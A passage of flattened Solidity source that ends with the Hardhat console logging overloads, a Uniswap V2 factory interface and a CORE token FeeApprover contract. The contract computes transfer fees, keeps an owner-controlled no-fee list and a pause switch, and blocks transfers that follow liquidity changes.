_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/FeeApprover.sol pragma solidity ^0.6.0; contract FeeApprover is OwnableUpgradeSafe { using SafeMath for uint256; function initialize( address _COREAddress, address _WETHAddress, address _uniswapFactory ) public initializer { OwnableUpgradeSafe.__Ownable_init(); coreTokenAddress = _COREAddress; WETHAddress = _WETHAddress; tokenUniswapPair = IUniswapV2Factory(_uniswapFactory).getPair(WETHAddress,coreTokenAddress); feePercentX100 = 10; paused = true; // We start paused until sync post LGE happens. //_editNoFeeList(0xC5cacb708425961594B63eC171f4df27a9c0d8c9, true); // corevault proxy _editNoFeeList(tokenUniswapPair, true); sync(); minFinney = 5000; } address tokenUniswapPair; IUniswapV2Factory public uniswapFactory; address internal WETHAddress; address coreTokenAddress; address coreVaultAddress; uint8 public feePercentX100; // max 255 = 25.5% artificial clamp uint256 public lastTotalSupplyOfLPTokens; bool paused; uint256 private lastSupplyOfCoreInPair; uint256 private lastSupplyOfWETHInPair; mapping (address => bool) public noFeeList; // CORE token is pausable function setPaused(bool _pause) public onlyOwner { paused = _pause; sync(); } function setFeeMultiplier(uint8 _feeMultiplier) public onlyOwner { feePercentX100 = _feeMultiplier; } function setCoreVaultAddress(address _coreVaultAddress) public onlyOwner { coreVaultAddress = _coreVaultAddress; noFeeList[coreVaultAddress] = true; } function editNoFeeList(address _address, bool noFee) public onlyOwner { _editNoFeeList(_address,noFee); } function _editNoFeeList(address _address, bool noFee) internal{ noFeeList[_address] = noFee; } uint minFinney; // 2x for $ liq amount function setMinimumLiquidityToTriggerStop(uint finneyAmnt) public onlyOwner{ // 1000 = 1eth minFinney = finneyAmnt; } function sync() public returns (bool lastIsMint, bool lpTokenBurn) { // This will update the state of lastIsMint, when called publically // So we have to sync it before to the last LP token value. uint256 _LPSupplyOfPairTotal = IERC20(tokenUniswapPair).totalSupply(); lpTokenBurn = lastTotalSupplyOfLPTokens > _LPSupplyOfPairTotal; lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal; uint256 _balanceWETH = IERC20(WETHAddress).balanceOf(tokenUniswapPair); uint256 _balanceCORE = IERC20(coreTokenAddress).balanceOf(tokenUniswapPair); // Do not block after small liq additions // you can only withdraw 350$ now with front running // And cant front run buys with liq add ( adversary drain ) //lastIsMint = _balanceCORE > lastSupplyOfCoreInPair && _balanceWETH > lastSupplyOfWETHInPair.add(minFinney.mul(1 finney)); lastIsMint = _balanceCORE > lastSupplyOfCoreInPair && _balanceWETH > lastSupplyOfWETHInPair; lastSupplyOfCoreInPair = _balanceCORE; lastSupplyOfWETHInPair = _balanceWETH; } function calculateAmountsAfterFee( address sender, address recipient, // unusued maybe use din future uint256 amount ) public returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) { require(paused == false, "FEE APPROVER: Transfers Paused"); (bool lastIsMint, bool lpTokenBurn) = sync(); if(sender == tokenUniswapPair) { // This will block buys that are immidietly after a mint. Before sync is called/ // Deployment of this should only happen after router deployment // And addition of sync to all CoreVault transactions to remove 99.99% of the cases. require(lastIsMint == false, "Liquidity withdrawals forbidden"); require(lpTokenBurn == false, "Liquidity withdrawals forbidden"); } if(noFeeList[sender]) { // Dont have a fee when corevault is sending, or infinite loop console.log("Sending without fee"); // And when pair is sending ( buys are happening, no tax on it) transferToFeeDistributorAmount = 0; transferToAmount = amount; } else { console.log("Normal fee transfer"); transferToFeeDistributorAmount = amount.mul(feePercentX100).div(1000); transferToAmount = amount.sub(transferToFeeDistributorAmount); } } }
